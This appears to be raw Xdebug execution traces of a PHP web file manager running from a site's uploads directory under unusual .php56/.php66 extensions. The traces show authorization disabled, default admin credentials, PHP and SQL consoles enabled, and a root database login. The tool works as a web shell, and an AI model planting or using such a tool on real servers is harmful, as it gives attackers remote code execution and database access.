2	191	R			'&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1499	$arlink = '&nbsp;&nbsp;<a href="?gzfile=L3Zhci93d3cvaHRtbC91cGxvYWRzL3ByZXBlbmQucGhw" title="Архивировать prepend.php">Сжать&nbsp;.tar.gz</a>'
1		A						/var/www/html/uploads/manager1.php66	1500	$style = 'row1'
2	193	0	0.011869	960488	__	1		/var/www/html/uploads/manager1.php66	1501	1	'File selected'
2	193	1	0.011883	960488
2	193	R			'Выбран файл'
2	194	0	0.011898	960584	__	1		/var/www/html/uploads/manager1.php66	1501	1	'Are you sure you want to delete this file?'
2	194	1	0.011912	960584
2	194	R			'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php66	1501	$alert = 'onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'"'
2	195	0	0.011952	960488	fm_root	1		/var/www/html/uploads/manager1.php66	1503	1	'prepend.php'
2	195	1	0.011965	960488
2	195	R			FALSE
2	196	0	0.011978	960488	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	196	1	0.011991	960488
2	196	R			'Удалить'
2	197	0	0.012005	960808	__	1		/var/www/html/uploads/manager1.php66	1503	1	'Delete'
2	197	1	0.012022	960808
2	197	R			'Удалить'
1		A						/var/www/html/uploads/manager1.php66	1503	$deletelink = '<a href="#" title="Удалить prepend.php" onClick="if(confirm(\'Выбран файл: \\nprepend.php. \\nВы уверены, что хотите удалить этот файл?\')) document.location.href = \'?fm=true&delete=prepend.php&path=/var/www/html/uploads/\'">Удалить</a>'
2	198	0	0.012060	960424	fm_root	1		/var/www/html/uploads/manager1.php66	1504	1	'prepend.php'
2	198	1	0.012073	960424
2	198	R			FALSE
2	199	0	0.012086	960536	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	199	1	0.012099	960536
2	199	R			'Переименовать'
2	200	0	0.012114	960584	__	1		/var/www/html/uploads/manager1.php66	1504	1	'Rename'
2	200	1	0.012127	960584
2	200	R			'Переименовать'
1		A						/var/www/html/uploads/manager1.php66	1504	$renamelink = '<a href="?fm=true&rename=prepend.php&path=/var/www/html/uploads/" title="Переименовать prepend.php">Переименовать</a>'
2	201	0	0.012159	960536	__	1		/var/www/html/uploads/manager1.php66	1505	1	'Rights'
2	201	1	0.012171	960536
2	201	R			'Права'
2	202	0	0.012185	960552	fm_rights_string	1		/var/www/html/uploads/manager1.php66	1505	2	'/var/www/html/uploads/prepend.php'	???
3	203	0	0.012199	960552	fileperms	0		/var/www/html/uploads/manager1.php66	393	1	'/var/www/html/uploads/prepend.php'
3	203	1	0.012212	960592
3	203	R			33261
2		A						/var/www/html/uploads/manager1.php66	393	$perms = 33261
2		A						/var/www/html/uploads/manager1.php66	394	$info = ''
2		A						/var/www/html/uploads/manager1.php66	404	$info = '-'
2		A						/var/www/html/uploads/manager1.php66	424	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	425	$info .= 'w'
2		A						/var/www/html/uploads/manager1.php66	428	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php66	431	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	432	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	435	$info .= 'x'
2		A						/var/www/html/uploads/manager1.php66	438	$info .= 'r'
2		A						/var/www/html/uploads/manager1.php66	439	$info .= '-'
2		A						/var/www/html/uploads/manager1.php66	442	$info .= 'x'
2	202	1	0.012347	960592
2	202	R			'-rwxr-xr-x'
1		A						/var/www/html/uploads/manager1.php66	1505	$rightstext = '<a href="?fm=true&rights=prepend.php&path=/var/www/html/uploads/" title="Права prepend.php">-rwxr-xr-x</a>'
2	204	0	0.012378	960424	gmdate	0		/var/www/html/uploads/manager1.php66	1510	2	'Y-m-d H:i:s'	1676249439
2	204	1	0.012394	960752
2	204	R			'2023-02-13 00:50:39'
2	205	0	0.012413	960424	microtime	0		/var/www/html/uploads/manager1.php66	1524	0
2	205	1	0.012426	960472
2	205	R			'0.76886300 1676249439'
2	206	0	0.012440	960472	explode	0		/var/www/html/uploads/manager1.php66	1524	2	' '	'0.76886300 1676249439'
2	206	1	0.012455	961000
2	206	R			[0 => '0.76886300', 1 => '1676249439']
1		A						/var/www/html/uploads/manager1.php66	1524	$mtime = [0 => '0.76886300', 1 => '1676249439']
1		A						/var/www/html/uploads/manager1.php66	1525	$totaltime = 0.0096909999847412
2	207	0	0.012503	960880	fm_home	1		/var/www/html/uploads/manager1.php66	1526	1	???
3	208	0	0.012516	960880	fm_url	1		/var/www/html/uploads/manager1.php66	742	1	FALSE
3		A						/var/www/html/uploads/manager1.php66	737	$host = '.'
4	209	0	0.012539	960912	basename	0		/var/www/html/uploads/manager1.php66	738	1	'/var/www/html/uploads/manager1.php66'
4	209	1	0.012554	960984
4	209	R			'manager1.php66'
3	208	1	0.012568	960928
3	208	R			'./manager1.php66'
3	210	0	0.012583	960960	__	1		/var/www/html/uploads/manager1.php66	742	1	'Home'
3	210	1	0.012596	960960
3	210	R			'Домой'
2	207	1	0.012610	961040
2	207	R			'&nbsp;<a href="./manager1.php66" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	211	0	0.012631	961104	fm_site_url	1		/var/www/html/uploads/manager1.php66	1526	0
3	212	0	0.012643	961104	fm_protocol	1		/var/www/html/uploads/manager1.php66	733	0
3	212	1	0.012658	961104
3	212	R			'http://'
2	211	1	0.012672	961152
2	211	R			'http://localhost'
2	213	0	0.012687	960880	phpversion	0		/var/www/html/uploads/manager1.php66	1527	0
2	213	1	0.012706	960944
2	213	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	214	0	0.012722	960880	__	1		/var/www/html/uploads/manager1.php66	1529	1	'Generation time'
2	214	1	0.012736	960880
2	214	R			'Генерация страницы'
2	215	0	0.012752	960960	round	0		/var/www/html/uploads/manager1.php66	1529	2	0.0096909999847412	2
2	215	1	0.012766	961032
2	215	R			0.01
2	216	0	0.012781	960880	__	1		/var/www/html/uploads/manager1.php66	1532	1	'Download'
2	216	1	0.012794	960880
2	216	R			'Скачать'
2	217	0	0.012809	960880	__	1		/var/www/html/uploads/manager1.php66	1533	1	'Settings'
2	217	1	0.012822	960880
2	217	R			'Настройка'
1	3	1	0.012981	960880
			0.013044	594600
TRACE END   [2023-02-12 22:51:05.667264]

data/traces/67b8ab8ce535a7a8301b9d9fd6ee9f13_trace-1676254089.2734.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:08:35.171257]
1	0	1	0.000144	393528
1	3	0	0.002602	937056	{main}	1		/var/www/html/uploads/manager1.php56	0	0
1		A						/var/www/html/uploads/manager1.php56	19	$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'
1		A						/var/www/html/uploads/manager1.php56	20	$php_templates = '{"Settings":"global $fm_config;\\r\\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'
1		A						/var/www/html/uploads/manager1.php56	21	$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'
2	4	0	0.002690	937056	microtime	0		/var/www/html/uploads/manager1.php56	25	0
2	4	1	0.002705	937104
2	4	R			'0.27606200 1676254089'
2	5	0	0.002719	937104	explode	0		/var/www/html/uploads/manager1.php56	25	2	' '	'0.27606200 1676254089'
2	5	1	0.002734	937632
2	5	R			[0 => '0.27606200', 1 => '1676254089']
1		A						/var/www/html/uploads/manager1.php56	25	$starttime = [0 => '0.27606200', 1 => '1676254089']
1		A						/var/www/html/uploads/manager1.php56	26	$starttime = 1676254089.2761
1		A						/var/www/html/uploads/manager1.php56	27	$langs = [0 => 'en', 1 => 'ru', 2 => 'de', 3 => 'fr', 4 => 'uk']
2	6	0	0.002791	937056	realpath	0		/var/www/html/uploads/manager1.php56	28	1	'.'
2	6	1	0.002805	937136
2	6	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php56	28	$path = '/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php56	28	$path = '/var/www/html/uploads'
2	7	0	0.002841	937104	str_replace	0		/var/www/html/uploads/manager1.php56	29	3	'\\'	'/'	'/var/www/html/uploads'
2	7	1	0.002856	937200
2	7	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php56	29	$path = '/var/www/html/uploads/'
2	8	0	0.002880	937104	realpath	0		/var/www/html/uploads/manager1.php56	30	1	'./'
2	8	1	0.002894	937184
2	8	R			'/var/www/html/uploads'
2	9	0	0.002907	937152	str_replace	0		/var/www/html/uploads/manager1.php56	30	3	'\\'	'/'	'/var/www/html/uploads'
2	9	1	0.002921	937248
2	9	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/manager1.php56	30	$main_path = '/var/www/html/uploads'
2	10	0	0.002945	937152	phpversion	0		/var/www/html/uploads/manager1.php56	31	0
2	10	1	0.002957	937216
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.002972	937216	version_compare	0		/var/www/html/uploads/manager1.php56	31	3	'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'	'5.3.0'	'<'
2	11	1	0.002988	937312
2	11	R			FALSE
1		A						/var/www/html/uploads/manager1.php56	31	$phar_maybe = FALSE
1		A						/var/www/html/uploads/manager1.php56	32	$msg = ''
1		A						/var/www/html/uploads/manager1.php56	33	$default_language = 'ru'
1		A						/var/www/html/uploads/manager1.php56	34	$detect_lang = TRUE
1		A						/var/www/html/uploads/manager1.php56	35	$fm_version = 1.1
2	12	0	0.003054	937152	json_decode	0		/var/www/html/uploads/manager1.php56	38	2	'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\\"text\\/javascript\\" src=\\"http:\\/\\/www.cdolivet.com\\/editarea\\/editarea\\/edit_area\\/edit_area_full.js\\"><\\/script>\\r\\n<script language=\\"Javascript\\" type=\\"text\\/javascript\\">\\r\\neditAreaLoader.init({\\r\\nid: \\"newcontent\\"\\r\\n,display: \\"later\\"\\r\\n,start_highlight: true\\r\\n,allow_resize: \\"both\\"\\r\\n,allow_toggle: true\\r\\n,word_wrap: true\\r\\'	TRUE
2	12	1	0.003101	938624
2	12	R			['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/manager1.php56	38	$auth = ['authorize' => '0', 'login' => 'admin', 'password' => 'phpfm', 'cookie_name' => 'fm_user', 'days_authorization' => '30', 'script' => '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh']
1		A						/var/www/html/uploads/manager1.php56	39	$auth['authorize'] = '0'
2	13	0	0.003187	938560	is_numeric	0		/var/www/html/uploads/manager1.php56	40	1	'30'
2	13	1	0.003201	938592
2	13	R			TRUE
1		A						/var/www/html/uploads/manager1.php56	40	$auth['days_authorization'] = 30
1		A						/var/www/html/uploads/manager1.php56	41	$auth['login'] = 'admin'
1		A						/var/www/html/uploads/manager1.php56	42	$auth['password'] = 'phpfm'
1		A						/var/www/html/uploads/manager1.php56	43	$auth['cookie_name'] = 'fm_user'
1		A						/var/www/html/uploads/manager1.php56	44	$auth['script'] = '<script type="text/javascript" src="http://www.cdolivet.com/editarea/editarea/edit_area/edit_area_full.js"></script>\r\n<script language="Javascript" type="text/javascript">\r\neditAreaLoader.init({\r\nid: "newcontent"\r\n,display: "later"\r\n,start_highlight: true\r\n,allow_resize: "both"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: "ru"\r\n,syntax: "php"\t\r\n,toolbar: "search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highligh'
1		A						/var/www/html/uploads/manager1.php56	48	$fm_default_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/manager1.php56	68	$fm_config = ['make_directory' => TRUE, 'new_file' => TRUE, 'upload_file' => TRUE, 'show_dir_size' => FALSE, 'show_img' => TRUE, 'show_php_ver' => TRUE, 'show_php_ini' => FALSE, 'show_gt' => TRUE, 'enable_php_console' => TRUE, 'enable_sql_console' => TRUE, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => TRUE, 'show_phpinfo' => TRUE, 'show_xls' => TRUE, 'fm_settings' => TRUE]
1		A						/var/www/html/uploads/manager1.php56	76	$language = 'ru'
1		A						/var/www/html/uploads/manager1.php56	94	$language = 'ru'
1		A						/var/www/html/uploads/manager1.php56	99	$lang['Add'] = 'Добавить'
1		A						/var/www/html/uploads/manager1.php56	100	$lang['Are you sure you want to delete this directory (recursively)?'] = 'Вы уверены, что хотите удалить эту папку (рекурсивно)?'
1		A						/var/www/html/uploads/manager1.php56	101	$lang['Are you sure you want to delete this file?'] = 'Вы уверены, что хотите удалить этот файл?'
1		A						/var/www/html/uploads/manager1.php56	102	$lang['Archiving'] = 'Архивировать'
1		A						/var/www/html/uploads/manager1.php56	103	$lang['Authorization'] = 'Авторизация'
1		A						/var/www/html/uploads/manager1.php56	104	$lang['Back'] = 'Назад'
1		A						/var/www/html/uploads/manager1.php56	105	$lang['Cancel'] = 'Отмена'
1		A						/var/www/html/uploads/manager1.php56	106	$lang['Chinese'] = 'Китайский'
1		A						/var/www/html/uploads/manager1.php56	107	$lang['Compress'] = 'Сжать'
1		A						/var/www/html/uploads/manager1.php56	108	$lang['Console'] = 'Консоль'
1		A						/var/www/html/uploads/manager1.php56	109	$lang['Cookie'] = 'Куки'
1		A						/var/www/html/uploads/manager1.php56	110	$lang['Created'] = 'Создан'
1		A						/var/www/html/uploads/manager1.php56	111	$lang['Date'] = 'Дата'
1		A						/var/www/html/uploads/manager1.php56	112	$lang['Days'] = 'Дней'
1		A						/var/www/html/uploads/manager1.php56	113	$lang['Decompress'] = 'Распаковать'
1		A						/var/www/html/uploads/manager1.php56	114	$lang['Delete'] = 'Удалить'
1		A						/var/www/html/uploads/manager1.php56	115	$lang['Deleted'] = 'Удалено'
1		A						/var/www/html/uploads/manager1.php56	116	$lang['Download'] = 'Скачать'
1		A						/var/www/html/uploads/manager1.php56	117	$lang['done'] = 'закончена'
1		A						/var/www/html/uploads/manager1.php56	118	$lang['Edit'] = 'Редактировать'
1		A						/var/www/html/uploads/manager1.php56	119	$lang['Enter'] = 'Вход'
1		A						/var/www/html/uploads/manager1.php56	120	$lang['English'] = 'Английский'
1		A						/var/www/html/uploads/manager1.php56	121	$lang['Error occurred'] = 'Произошла ошибка'
1		A						/var/www/html/uploads/manager1.php56	122	$lang['File manager'] = 'Файловый менеджер'
1		A						/var/www/html/uploads/manager1.php56	123	$lang['File selected'] = 'Выбран файл'
1		A						/var/www/html/uploads/manager1.php56	124	$lang['File updated'] = 'Файл сохранен'
1		A						/var/www/html/uploads/manager1.php56	125	$lang['Filename'] = 'Имя файла'
1		A						/var/www/html/uploads/manager1.php56	126	$lang['Files uploaded'] = 'Файл загружен'
1		A						/var/www/html/uploads/manager1.php56	127	$lang['French'] = 'Французский'
1		A						/var/www/html/uploads/manager1.php56	128	$lang['German'] = 'Немецкий'
1		A						/var/www/html/uploads/manager1.php56	129	$lang['Generation time'] = 'Генерация страницы'
1		A						/var/www/html/uploads/manager1.php56	130	$lang['Home'] = 'Домой'
1		A						/var/www/html/uploads/manager1.php56	131	$lang['Quit'] = 'Выход'
1		A						/var/www/html/uploads/manager1.php56	132	$lang['Language'] = 'Язык'
1		A						/var/www/html/uploads/manager1.php56	133	$lang['Login'] = 'Логин'
1		A						/var/www/html/uploads/manager1.php56	134	$lang['Manage'] = 'Управление'
1		A						/var/www/html/uploads/manager1.php56	135	$lang['Make directory'] = 'Создать папку'
1		A						/var/www/html/uploads/manager1.php56	136	$lang['Name'] = 'Наименование'
1		A						/var/www/html/uploads/manager1.php56	137	$lang['New'] = 'Новое'
1		A						/var/www/html/uploads/manager1.php56	138	$lang['New file'] = 'Новый файл'
1		A						/var/www/html/uploads/manager1.php56	139	$lang['no files'] = 'нет файлов'
1		A						/var/www/html/uploads/manager1.php56	140	$lang['Password'] = 'Пароль'
1		A						/var/www/html/uploads/manager1.php56	141	$lang['pictures'] = 'изображения'
1		A						/var/www/html/uploads/manager1.php56	142	$lang['Recursively'] = 'Рекурсивно'
1		A						/var/www/html/uploads/manager1.php56	143	$lang['Rename'] = 'Переименовать'
1		A						/var/www/html/uploads/manager1.php56	144	$lang['Reset'] = 'Сбросить'
1		A						/var/www/html/uploads/manager1.php56	145	$lang['Reset settings'] = 'Сбросить настройки'
1		A						/var/www/html/uploads/manager1.php56	146	$lang['Result'] = 'Результат'
1		A						/var/www/html/uploads/manager1.php56	147	$lang['Rights'] = 'Права'
1		A						/var/www/html/uploads/manager1.php56	148	$lang['Russian'] = 'Русский'
1		A						/var/www/html/uploads/manager1.php56	149	$lang['Save'] = 'Сохранить'
1		A						/var/www/html/uploads/manager1.php56	150	$lang['Select'] = 'Выберите'
1		A						/var/www/html/uploads/manager1.php56	151	$lang['Select the file'] = 'Выберите файл'
1		A						/var/www/html/uploads/manager1.php56	152	$lang['Settings'] = 'Настройка'
1		A						/var/www/html/uploads/manager1.php56	153	$lang['Show'] = 'Показать'
1		A						/var/www/html/uploads/manager1.php56	154	$lang['Size'] = 'Размер'
1		A						/var/www/html/uploads/manager1.php56	155	$lang['Spanish'] = 'Испанский'
1		A						/var/www/html/uploads/manager1.php56	156	$lang['Submit'] = 'Отправить'
1		A						/var/www/html/uploads/manager1.php56	157	$lang['Task'] = 'Задача'
1		A						/var/www/html/uploads/manager1.php56	158	$lang['templates'] = 'шаблоны'
1		A						/var/www/html/uploads/manager1.php56	159	$lang['Show size of the folder'] = 'Показать размер папки'
1		A						/var/www/html/uploads/manager1.php56	160	$lang['Ukrainian'] = 'Украинский'
1		A						/var/www/html/uploads/manager1.php56	161	$lang['Upload'] = 'Загрузить'
1		A						/var/www/html/uploads/manager1.php56	162	$lang['Value'] = 'Значение'
1		A						/var/www/html/uploads/manager1.php56	163	$lang['Hello'] = 'Привет'
2	14	0	0.004171	946776	__	1		/var/www/html/uploads/manager1.php56	962	1	'File manager'
2	14	1	0.004185	946800
2	14	R			'Файловый менеджер'
2	15	0	0.004311	955104	fm_home_style	1		/var/www/html/uploads/manager1.php56	1048	0
2	15	1	0.004326	955104
2	15	R			'\ninput, input.fm_input {\n    text-indent: 2px;\n}\ninput, textarea, select, input.fm_input {\n    color: black;\n    font: normal 8pt Verdana, Arial, Helvetica, sans-serif;\n    border-color: black;\n    background-color: #FCFCFC none !important;\n    border-radius: 0;\n    padding: 2px;\n}\ninput.fm_input {\n    background: #FCFCFC none !important;\n    cursor: pointer;\n}\n.home {\n    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTF'
1		A						/var/www/html/uploads/manager1.php56	1067	$url_inc = '?fm=true'
1		A						/var/www/html/uploads/manager1.php56	1272	$msg = ''
2	16	0	0.004392	955104	__	1		/var/www/html/uploads/manager1.php56	1380	1	'File manager'
2	16	1	0.004405	955104
2	16	R			'Файловый менеджер'
2	17	0	0.004422	955104	fm_home	1		/var/www/html/uploads/manager1.php56	1392	1	???
3	18	0	0.004435	955104	fm_url	1		/var/www/html/uploads/manager1.php56	742	1	FALSE
3		A						/var/www/html/uploads/manager1.php56	737	$host = '.'
4	19	0	0.004458	955136	basename	0		/var/www/html/uploads/manager1.php56	738	1	'/var/www/html/uploads/manager1.php56'
4	19	1	0.004473	955208
4	19	R			'manager1.php56'
3	18	1	0.004488	955152
3	18	R			'./manager1.php56'
3	20	0	0.004502	955184	__	1		/var/www/html/uploads/manager1.php56	742	1	'Home'
3	20	1	0.004514	955184
3	20	R			'Домой'
2	17	1	0.004528	955264
2	17	R			'&nbsp;<a href="./manager1.php56" title="Домой"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>'
2	21	0	0.004548	955104	__	1		/var/www/html/uploads/manager1.php56	1399	1	'Make directory'
2	21	1	0.004561	955104
2	21	R			'Создать папку'
2	22	0	0.004577	955104	__	1		/var/www/html/uploads/manager1.php56	1408	1	'New file'
2	22	1	0.004590	955104
2	22	R			'Новый файл'
2	23	0	0.004604	955104	fm_run_input	1		/var/www/html/uploads/manager1.php56	1413	1	'php'
3	24	0	0.004651	955128	fm_url	1		/var/www/html/uploads/manager1.php56	749	1	???
3		A						/var/www/html/uploads/manager1.php56	737	$host = '.'
4	25	0	0.004675	955160	basename	0		/var/www/html/uploads/manager1.php56	738	1	'/var/www/html/uploads/manager1.php56'
4	25	1	0.004689	955232
4	25	R			'manager1.php56'
3	24	1	0.004704	955176
3	24	R			'./manager1.php56'
3	26	0	0.004718	955288	strtoupper	0		/var/www/html/uploads/manager1.php56	750	1	'php'
3	26	1	0.004731	955352
3	26	R			'PHP'
3	27	0	0.004744	955288	__	1		/var/www/html/uploads/manager1.php56	750	1	'Console'
3	27	1	0.004757	955288
3	27	R			'Консоль'
2		A						/var/www/html/uploads/manager1.php56	752	$return = '\n\t\t<form  method="post" action="./manager1.php56" style="display:inline">\n\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t</form>\n'
2	23	1	0.004790	955320
2	23	R			'\n\t\t<form  method="post" action="./manager1.php56" style="display:inline">\n\t\t<input type="submit" name="phprun" value="PHP Консоль">\n\t\t</form>\n'
2	28	0	0.004812	955128	fm_run_input	1		/var/www/html/uploads/manager1.php56	1416	1	'sql'
3	29	0	0.004825	955128	fm_url	1		/var/www/html/uploads/manager1.php56	749	1	???
3		A						/var/www/html/uploads/manager1.php56	737	$host = '.'
4	30	0	0.004847	955160	basename	0		/var/www/html/uploads/manager1.php56	738	1	'/var/www/html/uploads/manager1.php56'
4	30	1	0.004862	955232
4	30	R			'manager1.php56'
3	29	1	0.004876	955176
3	29	R			'./manager1.php56'
3	31	0	0.004890	955288	strtoupper	0		/var/www/html/uploads/manager1.php56	750	1	'sql'
3	31	1	0.004902	955352
3	31	R			'SQL'
3	32	0	0.004915	955288	__	1		/var/www/html/uploads/manager1.php56	750	1	'Console'
3	32	1	0.004928	955288
3	32	R			'Консоль'
2		A						/var/www/html/uploads/manager1.php56	752	$return = '\n\t\t<form  method="post" action="./manager1.php56" style="display:inline">\n\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t</form>\n'
2	28	1	0.004960	955320
2	28	R			'\n\t\t<form  method="post" action="./manager1.php56" style="display:inline">\n\t\t<input type="submit" name="sqlrun" value="SQL Консоль">\n\t\t</form>\n'
2	33	0	0.004983	955128	__	1		/var/www/html/uploads/manager1.php56	1429	1	'Select the file'
2	33	1	0.004997	955128
2	33	R			'Выберите файл'
2	34	0	0.005011	955128	__	1		/var/www/html/uploads/manager1.php56	1430	1	'Upload'
2	34	1	0.005024	955128
2	34	R			'Загрузить'
2	35	0	0.005043	955128	__	1		/var/www/html/uploads/manager1.php56	1438	1	'Hello'
2	35	1	0.005056	955128
2	35	R			'Привет'
2	36	0	0.005070	955128	__	1		/var/www/html/uploads/manager1.php56	1439	1	'Quit'
2	36	1	0.005083	955128
2	36	R			'Выход'
2	37	0	0.005096	955128	fm_lang_form	1		/var/www/html/uploads/manager1.php56	1444	1	'ru'
3	38	0	0.005109	955128	__	1		/var/www/html/uploads/manager1.php56	560	1	'Language'
3	38	1	0.005121	955128
3	38	R			'Язык'
3	39	0	0.005135	955352	__	1		/var/www/html/uploads/manager1.php56	561	1	'English'
3	39	1	0.005148	955352
3	39	R			'Английский'
3	40	0	0.005162	955384	__	1		/var/www/html/uploads/manager1.php56	562	1	'German'
3	40	1	0.005174	955384
3	40	R			'Немецкий'
3	41	0	0.005188	955448	__	1		/var/www/html/uploads/manager1.php56	563	1	'Russian'
3	41	1	0.005208	955448
3	41	R			'Русский'
3	42	0	0.005223	955512	__	1		/var/www/html/uploads/manager1.php56	564	1	'French'
3	42	1	0.005235	955512
3	42	R			'Французский'
3	43	0	0.005250	955576	__	1		/var/www/html/uploads/manager1.php56	565	1	'Ukrainian'
3	43	1	0.005262	955576
3	43	R			'Украинский'
2	37	1	0.005276	955640
2	37	R			'\n<form name="change_lang" method="post" action="">\n    <select name="fm_lang" title="Язык" onchange="document.forms[\'change_lang\'].submit()" >\n\t<option value="en" >Английский</option>\n\t<option value="de" >Немецкий</option>\n\t<option value="ru" selected="selected" >Русский</option>\n\t<option value="fr" >Французский</option>\n\t<option value="uk" >Украинский</option>\n    </select>\n</form>\n'
2	44	0	0.005307	955128	__	1		/var/www/html/uploads/manager1.php56	1454	1	'Filename'
2	44	1	0.005320	955128
2	44	R			'Имя файла'
2	45	0	0.005334	955128	__	1		/var/www/html/uploads/manager1.php56	1455	1	'Size'
2	45	1	0.005346	955128
2	45	R			'Размер'
2	46	0	0.005360	955128	__	1		/var/www/html/uploads/manager1.php56	1456	1	'Date'
2	46	1	0.005373	955128
2	46	R			'Дата'
2	47	0	0.005386	955128	__	1		/var/www/html/uploads/manager1.php56	1457	1	'Rights'
2	47	1	0.005399	955128
2	47	R			'Права'
2	48	0	0.005412	955128	__	1		/var/www/html/uploads/manager1.php56	1458	1	'Manage'
2	48	1	0.005425	955128
2	48	R			'Управление'
2	49	0	0.005439	955128	fm_scan_dir	1		/var/www/html/uploads/manager1.php56	1463	4	'/var/www/html/uploads/'	''	'all'	TRUE
2		A						/var/www/html/uploads/manager1.php56	522	$ndir = []
2		A						/var/www/html/uploads/manager1.php56	522	$dir = []
3	50	0	0.005476	955128	is_dir	0		/var/www/html/uploads/manager1.php56	529	1	'/var/www/html/uploads/'
3	50	1	0.005493	955192
3	50	R			TRUE
3	51	0	0.005506	955152	opendir	0		/var/www/html/uploads/manager1.php56	530	1	'/var/www/html/uploads/'
3	51	1	0.005528	955544
3	51	R			resource(4) of type (stream)
2		A						/var/www/html/uploads/manager1.php56	530	$fh = resource(4) of type (stream)
3	52	0	0.005556	955512	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	52	1	0.005577	955584
3	52	R			'..'
2		A						/var/www/html/uploads/manager1.php56	531	$filename = '..'
3	53	0	0.005601	955544	substr	0		/var/www/html/uploads/manager1.php56	532	3	'..'	0	1
3	53	1	0.005615	955640
3	53	R			'.'
2		A						/var/www/html/uploads/manager1.php56	534	$dir[] = '..'
3	54	0	0.005640	955920	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	54	1	0.005653	955992
3	54	R			'.'
2		A						/var/www/html/uploads/manager1.php56	531	$filename = '.'
3	55	0	0.005676	955952	substr	0		/var/www/html/uploads/manager1.php56	532	3	'.'	0	1
3	55	1	0.005689	956048
3	55	R			'.'
2		A						/var/www/html/uploads/manager1.php56	534	$dir[] = '.'
3	56	0	0.005712	955952	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	56	1	0.005726	956032
3	56	R			'prepend.php'
2		A						/var/www/html/uploads/manager1.php56	531	$filename = 'prepend.php'
3	57	0	0.005749	955992	substr	0		/var/www/html/uploads/manager1.php56	532	3	'prepend.php'	0	1
3	57	1	0.005763	956088
3	57	R			'p'
2		A						/var/www/html/uploads/manager1.php56	534	$dir[] = 'prepend.php'
3	58	0	0.005790	955992	readdir	0		/var/www/html/uploads/manager1.php56	531	1	resource(4) of type (stream)
3	58	1	0.005804	956064
3	58	R			'data'
2		A						/var/www/html/uploads/manager1.php56	531	$filename = 'data'
3	59	0	0.005827	956024	substr	0		/var/www/html/uploads/manager1.php56	532	3	'data'	0	1
3	59	1	0.005840	956120
3	59	R			'd'
